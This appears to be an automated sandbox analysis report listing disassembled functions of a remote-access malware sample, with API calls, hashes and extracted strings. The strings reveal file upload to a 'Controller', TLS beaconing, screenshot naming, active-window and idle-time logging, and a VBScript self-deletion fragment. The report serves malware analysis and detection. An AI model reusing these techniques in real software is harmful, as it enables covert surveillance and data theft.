Instruction Fuzzy Hash: BF21E871104B04AFDB216B26DC49B27BBA1FF40326F104A2EE2E211AF1CB75B851DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00445D56 Relevance: 22.8, APIs: 15, Instructions: 296COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00445DC6
_free.LIBCMT ref: 00445DDC
_free.LIBCMT ref: 00445DED
_free.LIBCMT ref: 00445DFE
_free.LIBCMT ref: 00445E15
GetCPInfo.KERNEL32(?,?), ref: 00445E5D

Part of subcall function 00452E74: _free.LIBCMT ref: 00452EDF

_free.LIBCMT ref: 00446009
_free.LIBCMT ref: 0044601C
_free.LIBCMT ref: 0044602A
_free.LIBCMT ref: 00446035
_free.LIBCMT ref: 00446077
_free.LIBCMT ref: 0044607F
_free.LIBCMT ref: 00446087
_free.LIBCMT ref: 0044608F
_free.LIBCMT ref: 0044609D

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 5c7b1bf4f475568e38e69d940d0222fa4f9c7dd3754b5f784b0771feacd0cc66
Instruction ID: 88ee944febda996c7adaaf7605242af7944d99fb061a5fd2e4f26fad8993db39
Opcode Fuzzy Hash: 5c7b1bf4f475568e38e69d940d0222fa4f9c7dd3754b5f784b0771feacd0cc66
Instruction Fuzzy Hash: 75B1CD719006059FEF20DF69C881BEEBBB4FF09304F14412EF5A8A7242D6799D45CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00408B7A Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 328fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,000000B6), ref: 00408CE3
GetFileSizeEx.KERNEL32(00000000,?), ref: 00408D1B
__aulldiv.LIBCMT ref: 00408D4D

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509

SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 00408E70
ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00408E8B
CloseHandle.KERNEL32(00000000), ref: 00408F64
CloseHandle.KERNEL32(00000000,00000052), ref: 00408FAE
CloseHandle.KERNEL32(00000000), ref: 00408FFC

Strings

Uploading file to Controller: , xrefs: 00408DD5
NG, xrefs: 00408C17
ReadFile error, xrefs: 00408FC8
SetFilePointerEx error, xrefs: 00408FD4

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: File$CloseHandle$CreateLocalPointerReadSizeTime__aulldivsend
String ID: ReadFile error$SetFilePointerEx error$Uploading file to Controller: $NG
API String ID: 3086580692-2582957567
Opcode ID: 64cefbb928e21c2f7d127ca4721bf1c832eccef9f0ecc8420659d86e10d9b8ce
Instruction ID: 4fd1ef8f0950b8c70c5ee12d710945c0a569e6ad21e20d2a74dcf75f3ec9a52d
Opcode Fuzzy Hash: 64cefbb928e21c2f7d127ca4721bf1c832eccef9f0ecc8420659d86e10d9b8ce
Instruction Fuzzy Hash: 95B193716083409BC314FB25C982AAFB7E5AFC4354F50492FF589622D2EF789945CB8B

Uniqueness

Uniqueness Score: -1.00%

Function 0040A726 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 163sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00001388), ref: 0040A740

Part of subcall function 0040A675: CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,0040A74D), ref: 0040A6AB
Part of subcall function 0040A675: GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A74D), ref: 0040A6BA
Part of subcall function 0040A675: Sleep.KERNEL32(00002710,?,?,?,0040A74D), ref: 0040A6E7
Part of subcall function 0040A675: CloseHandle.KERNEL32(00000000,?,?,?,0040A74D), ref: 0040A6EE

CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0040A77C
GetFileAttributesW.KERNEL32(00000000), ref: 0040A78D
SetFileAttributesW.KERNEL32(00000000,00000080), ref: 0040A7A4
PathFileExistsW.SHLWAPI(00000000,00000000,00000000,00000012), ref: 0040A81E

Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,0040412F,00465E74), ref: 0041C49E

SetFileAttributesW.KERNEL32(00000000,00000006,00000013,00466468,00000000,00000000,00000000), ref: 0040A927

Strings

PG, xrefs: 0040A907
8SG, xrefs: 0040A802
pQG, xrefs: 0040A771
PG, xrefs: 0040A7AC
pQG, xrefs: 0040A761
8SG, xrefs: 0040A7F7

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: File$AttributesCreate$Sleep$CloseDirectoryExistsHandlePathSize
String ID: 8SG$8SG$pQG$pQG$PG$PG
API String ID: 3795512280-1152054767
Opcode ID: dd9c0471e25d076647664c84ec6971b7212badb5cce70a00efb0c7fa575d8801
Instruction ID: 265ddfea45d140738b9a7e0f0353a6f5be26653907181caffe3561bb72ed66c0
Opcode Fuzzy Hash: dd9c0471e25d076647664c84ec6971b7212badb5cce70a00efb0c7fa575d8801
Instruction Fuzzy Hash: A7517E716043055ACB09BB32C866ABE739A9F80349F00483FB642B71E2DF7C9D09865E

Uniqueness

Uniqueness Score: -1.00%

Function 004048C8 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 144networkCOMMON

Download Yara Rule

APIs

connect.WS2_32(FFFFFFFF,?,?), ref: 004048E0
CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A00
CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A0E
WSAGetLastError.WS2_32 ref: 00404A21

Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509

Strings

Connection Failed: , xrefs: 00404A43
PkGNG, xrefs: 004048C8
TLS Authentication Failed, xrefs: 00404999
TLS Handshake... | , xrefs: 00404904
TLS Error 1, xrefs: 00404937
TLS Error 3, xrefs: 004049D8
Connection Refused, xrefs: 00404A76
TLS Error 2, xrefs: 00404955

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CreateEvent$ErrorLastLocalTimeconnect
String ID: Connection Failed: $Connection Refused$PkGNG$TLS Authentication Failed$TLS Error 1$TLS Error 2$TLS Error 3$TLS Handshake... |
API String ID: 994465650-3229884001
Opcode ID: 73075052d8b02f035b309482e82d4e6ffd926ef573fac63689623bdc7e9bf8aa
Instruction ID: c5d57dbf39bf42eeb7f1fe8451fa1a1ddda5cb55b73798f96fdafd5064c5310c
Opcode Fuzzy Hash: 73075052d8b02f035b309482e82d4e6ffd926ef573fac63689623bdc7e9bf8aa
Instruction Fuzzy Hash: 3E41E8B47406016BD61877BA8D1B53E7A15AB81304B50017FE60267AD3EB7D9C108BDF

Uniqueness

Uniqueness Score: -1.00%

Function 004512C6 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0045130A

Part of subcall function 00450502: _free.LIBCMT ref: 0045051F
Part of subcall function 00450502: _free.LIBCMT ref: 00450531
Part of subcall function 00450502: _free.LIBCMT ref: 00450543
Part of subcall function 00450502: _free.LIBCMT ref: 00450555
Part of subcall function 00450502: _free.LIBCMT ref: 00450567
Part of subcall function 00450502: _free.LIBCMT ref: 00450579
Part of subcall function 00450502: _free.LIBCMT ref: 0045058B
Part of subcall function 00450502: _free.LIBCMT ref: 0045059D
Part of subcall function 00450502: _free.LIBCMT ref: 004505AF
Part of subcall function 00450502: _free.LIBCMT ref: 004505C1
Part of subcall function 00450502: _free.LIBCMT ref: 004505D3
Part of subcall function 00450502: _free.LIBCMT ref: 004505E5
Part of subcall function 00450502: _free.LIBCMT ref: 004505F7

_free.LIBCMT ref: 004512FF

Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?), ref: 00446798
Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA

_free.LIBCMT ref: 00451321
_free.LIBCMT ref: 00451336
_free.LIBCMT ref: 00451341
_free.LIBCMT ref: 00451363
_free.LIBCMT ref: 00451376
_free.LIBCMT ref: 00451384
_free.LIBCMT ref: 0045138F
_free.LIBCMT ref: 004513C7
_free.LIBCMT ref: 004513CE
_free.LIBCMT ref: 004513EB
_free.LIBCMT ref: 00451403

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
Instruction ID: 673b37a441ff9bbb7eb6cd98574e5fa8379d72fae64c09c4febd1ea684bb8cd8
Opcode Fuzzy Hash: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
Instruction Fuzzy Hash: 0E319E315007009FFB20AA7AD845B5B73E8EF0131AF50851FEC68D7662DF78AD448B59

Uniqueness

Uniqueness Score: -1.00%

Function 00419FB4 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 176sleeptimeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00419FB9
GdiplusStartup.GDIPLUS(00474ACC,?,00000000), ref: 00419FEB
CreateDirectoryW.KERNEL32(00000000,00000000,00000000,0000001A,00000019), ref: 0041A077
Sleep.KERNEL32(000003E8), ref: 0041A0FD
GetLocalTime.KERNEL32(?), ref: 0041A105
Sleep.KERNEL32(00000000,00000018,00000000), ref: 0041A1F4

Strings

PG, xrefs: 0041A1AD
wnd_%04i%02i%02i_%02i%02i%02i, xrefs: 0041A09A, 0041A0BB, 0041A129
PG, xrefs: 0041A0C9
time_%04i%02i%02i_%02i%02i%02i, xrefs: 0041A09F
PG, xrefs: 0041A016

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Sleep$CreateDirectoryGdiplusH_prologLocalStartupTime
String ID: time_%04i%02i%02i_%02i%02i%02i$wnd_%04i%02i%02i_%02i%02i%02i$PG$PG$PG
API String ID: 489098229-1431523004
Opcode ID: 0e7dd5b9c8f3c8bbf87e47502bed00745cf23af802625de92c9b4d39b7d12e2e
Instruction ID: 65e100c03f0dda0ba9a952c873ad8774fe275ee1deca45487f64c7c8a8292b0e
Opcode Fuzzy Hash: 0e7dd5b9c8f3c8bbf87e47502bed00745cf23af802625de92c9b4d39b7d12e2e
Instruction Fuzzy Hash: E7515D70A00215AACB14BBB5C8529ED7BA9AB44308F40403FF509AB1E2EF7C9D85C799

Uniqueness

Uniqueness Score: -1.00%

Function 0040D7FF Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,?,0040D80F), ref: 00412860
Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF,?,0040D80F), ref: 00412873

Part of subcall function 004136F8: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,?,00000208), ref: 00413714
Part of subcall function 004136F8: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000000), ref: 0041372D
Part of subcall function 004136F8: RegCloseKey.ADVAPI32(?), ref: 00413738

GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 0040D859
ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D9B8
ExitProcess.KERNEL32 ref: 0040D9C4

Strings

open, xrefs: 0040D9B2
CreateObject("WScript.Shell").Run "cmd /c "", xrefs: 0040D8F9
.vbs, xrefs: 0040D85F
CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName), xrefs: 0040D967
exepath, xrefs: 0040D831
8SG, xrefs: 0040D80F
Temp, xrefs: 0040D89A
""", 0, xrefs: 0040D8E1

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Process$CloseExecuteExitFileModuleNameObjectOpenQueryShellSingleTerminateValueWait
String ID: """, 0$.vbs$8SG$CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)$CreateObject("WScript.Shell").Run "cmd /c ""$Temp$exepath$open
API String ID: 1913171305-3159800282
Opcode ID: fa01d9a58f05a7cf40da9c9b0b07af66ac6c6027c41b165ee73ccb5acdae289a
Instruction ID: 6fc8d312854778a25908ca85050b1cee1951ef16e4956e50e312a563d71e527c
Opcode Fuzzy Hash: fa01d9a58f05a7cf40da9c9b0b07af66ac6c6027c41b165ee73ccb5acdae289a
Instruction Fuzzy Hash: 0C413A719001195ACB15FA62DC56DEEB778AF50309F10007FB10AB61E2EF785E4ACA98

Uniqueness

Uniqueness Score: -1.00%

Function 00450600 Relevance: 18.4, APIs: 12, Instructions: 376COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00450648
_free.LIBCMT ref: 0045066C
_free.LIBCMT ref: 00450679
_free.LIBCMT ref: 0045069E
_free.LIBCMT ref: 004506AB
_free.LIBCMT ref: 004506B4
_free.LIBCMT ref: 00450992
_free.LIBCMT ref: 0045099A

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 47079874d6611f76b22abc1c1892e8562d414d23f3395fd45a7677fdf32a9ec5
Instruction ID: d910990a8472ee08c0279d8077499983e41ff25138a9859a729e4309013b5263
Opcode Fuzzy Hash: 47079874d6611f76b22abc1c1892e8562d414d23f3395fd45a7677fdf32a9ec5
Instruction Fuzzy Hash: E2C17476D40204AFEB20DBA9CC83FDE77B8AB19705F14015AFE05EB283D6B49D458798

Uniqueness

Uniqueness Score: -1.00%

Function 00455BDB Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004558A9: CreateFileW.KERNEL32(00000000,00000000,?,00455C84,?,?,00000000,?,00455C84,00000000,0000000C), ref: 004558C6

GetLastError.KERNEL32 ref: 00455CEF
__dosmaperr.LIBCMT ref: 00455CF6
GetFileType.KERNEL32(00000000), ref: 00455D02
GetLastError.KERNEL32 ref: 00455D0C
__dosmaperr.LIBCMT ref: 00455D15
CloseHandle.KERNEL32(00000000), ref: 00455D35
CloseHandle.KERNEL32(?), ref: 00455E7F
GetLastError.KERNEL32 ref: 00455EB1
__dosmaperr.LIBCMT ref: 00455EB8

Strings

H, xrefs: 00455E3D

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: ad10cc44415123364ccf3ab0f87a2b5b2deaae059395c87e8052164914e7d7f7
Instruction ID: f4290dc4267d91ba683862cdaabef3013db21248f4240db41616def06e578eae
Opcode Fuzzy Hash: ad10cc44415123364ccf3ab0f87a2b5b2deaae059395c87e8052164914e7d7f7
Instruction Fuzzy Hash: D5A155329106049FDF19AF68DC617BE3BA0EB06325F14415EEC11EB392CB398D5ACB59

Uniqueness

Uniqueness Score: -1.00%

Function 00453D83 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,0045405C,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 00453E2F
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000001,00000000,00000000,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453EB2
__alloca_probe_16.LIBCMT ref: 00453EEA
MultiByteToWideChar.KERNEL32(00000001,00000001,?,00000001,00000000,\@E,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453F45
__alloca_probe_16.LIBCMT ref: 00453F94
MultiByteToWideChar.KERNEL32(00000001,00000009,00000001,00000000,00000000,00000000,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453F5C

Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169

MultiByteToWideChar.KERNEL32(00000001,00000001,00000001,00000000,00000000,?,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453FD8
__freea.LIBCMT ref: 00454003
__freea.LIBCMT ref: 0045400F

Strings

\@E, xrefs: 00453F37, 00453DF1

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$__alloca_probe_16__freea$AllocateHeapInfo
String ID: \@E
API String ID: 201697637-1814623452
Opcode ID: a13eae8444da2cd2cd5bd958d846eb3c57669df7893581f63a52b2ce53b4c5f1
Instruction ID: bd5a1837779a5f2dcb5c2ea5aeb828518df7829aba760434011a70bbc407b236
Opcode Fuzzy Hash: a13eae8444da2cd2cd5bd958d846eb3c57669df7893581f63a52b2ce53b4c5f1
Instruction Fuzzy Hash: E391F472E002069ADB209E65CC42AEFBBF59F09756F14052BFC01E7282D739DD89C768

Uniqueness

Uniqueness Score: -1.00%

Function 0044AC49 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 216COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,$C,0043EA24,?,?,PkGNG,0044AE9A,00000001,00000001,73E85006), ref: 0044ACA3
__alloca_probe_16.LIBCMT ref: 0044ACDB
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,PkGNG,0044AE9A,00000001,00000001,73E85006,?,?,?), ref: 0044AD29
__alloca_probe_16.LIBCMT ref: 0044ADC0
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,73E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0044AE23
__freea.LIBCMT ref: 0044AE30

Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169

__freea.LIBCMT ref: 0044AE39
__freea.LIBCMT ref: 0044AE5E

Strings

PkGNG, xrefs: 0044AC4B
$C, xrefs: 0044AC5B

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
String ID: $C$PkGNG
API String ID: 3864826663-3740547665
Opcode ID: f1dce60ce4001dd5a90d09b77d0bc29d4a24cdc1178cf7b183dfabd27102bb0f
Instruction ID: b5b01290aead076256688b5938d42e4b2a7c64905c3dece0b68445a47d4ef5f6
Opcode Fuzzy Hash: f1dce60ce4001dd5a90d09b77d0bc29d4a24cdc1178cf7b183dfabd27102bb0f
Instruction Fuzzy Hash: 1F513A72680206AFFB258F64CC41EBF77AAEB44714F24462EFC14D6240EB38DC60875A

Uniqueness

Uniqueness Score: -1.00%

Function 00450A25 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 204COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00450A94
_free.LIBCMT ref: 00450AA2
_free.LIBCMT ref: 00450BD0
_free.LIBCMT ref: 00450BDB

Strings

`&G, xrefs: 00450C34
\&G, xrefs: 00450C1C
\&G, xrefs: 00450C24

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: _free
String ID: \&G$\&G$`&G
API String ID: 269201875-253610517
Opcode ID: 2933b358ac1f2d15da9e4f95fb537f888405f593b8ad3400f10d75b262a195a6
Instruction ID: 0b3297c67b001fbc5a9f4fbe1fd197d652097ca420ae28a40b4f72db8b3ed5d1
Opcode Fuzzy Hash: 2933b358ac1f2d15da9e4f95fb537f888405f593b8ad3400f10d75b262a195a6
Instruction Fuzzy Hash: 77610475900204AFDB20CFA9C882B9ABBF4EF05315F14416BED58EB342D774AD458B98

Uniqueness

Uniqueness Score: -1.00%

Function 00414BB0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 158COMMON

Download Yara Rule

Strings

udp, xrefs: 00414C60, 00414C68, 00414C6C
65535, xrefs: 00414BB3

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID:
String ID: 65535$udp
API String ID: 0-1267037602
Opcode ID: c855b19cc43d9bec36cd86ac5f012ace8f0d54e169e32fa1a21da6d4488bf9b2
Instruction ID: ff24d6befd6f0703c902a6165bd45161ed4db0fb5f75d2635e7e580b9b2721aa
Opcode Fuzzy Hash: c855b19cc43d9bec36cd86ac5f012ace8f0d54e169e32fa1a21da6d4488bf9b2
Instruction Fuzzy Hash: EF51E7756093019FDB209B58E9057BB37A4AFC4755F08082FF881973A1E76DCCC1865E

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACD6 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 156sleepCOMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0040AD38
Sleep.KERNEL32(000001F4), ref: 0040AD43
GetForegroundWindow.USER32 ref: 0040AD49
GetWindowTextLengthW.USER32(00000000), ref: 0040AD52
GetWindowTextW.USER32(00000000,00000000,00000000), ref: 0040AD86
Sleep.KERNEL32(000003E8), ref: 0040AE54

Part of subcall function 0040A636: SetEvent.KERNEL32(00000000,?,00000000,0040B20A,00000000), ref: 0040A662

Strings

], xrefs: 0040ADE8
{ User has been idle for , xrefs: 0040AE86
minutes }, xrefs: 0040AE7A
[, xrefs: 0040ADEE

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Window$SleepText$EventForegroundInit_thread_footerLength
String ID: [${ User has been idle for $ minutes }$]
API String ID: 911427763-3954389425
Opcode ID: d029bd4235179839c9baf363e6aa800d014436574332bd325cff9a7a557b710f
Instruction ID: 3d5ee5432c15115af2c0f1375ae13a0ba8112eb59c463c5c733e63bb31497985
Opcode Fuzzy Hash: d029bd4235179839c9baf363e6aa800d014436574332bd325cff9a7a557b710f
Instruction Fuzzy Hash: 6D51B1316043419BD314FB21D846AAE7796AB84308F50093FF586A22E2EF7C9D45C69F

Uniqueness

Uniqueness Score: -1.00%

Function 0043A83A Relevance: 16.6, APIs: 11, Instructions: 116COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A892
GetLastError.KERNEL32(?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A89F
__dosmaperr.LIBCMT ref: 0043A8A6
MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A8D2
GetLastError.KERNEL32(?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A8DC
__dosmaperr.LIBCMT ref: 0043A8E3
WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,?,?,?,?,?,00401D55,?), ref: 0043A926
GetLastError.KERNEL32(?,?,?,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A930
__dosmaperr.LIBCMT ref: 0043A937
_free.LIBCMT ref: 0043A943
_free.LIBCMT ref: 0043A94A

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ByteCharErrorLastMultiWide__dosmaperr$_free
String ID:
API String ID: 2441525078-0
Opcode ID: be2abdef093630236b46a14047e2354cdf10b582d669b9bb945715f91254eceb
Instruction ID: 785efe6d9c8e3fffb8b85045f967b8474775cb8629fdf0d32462ae01257f7f2e
Opcode Fuzzy Hash: be2abdef093630236b46a14047e2354cdf10b582d669b9bb945715f91254eceb
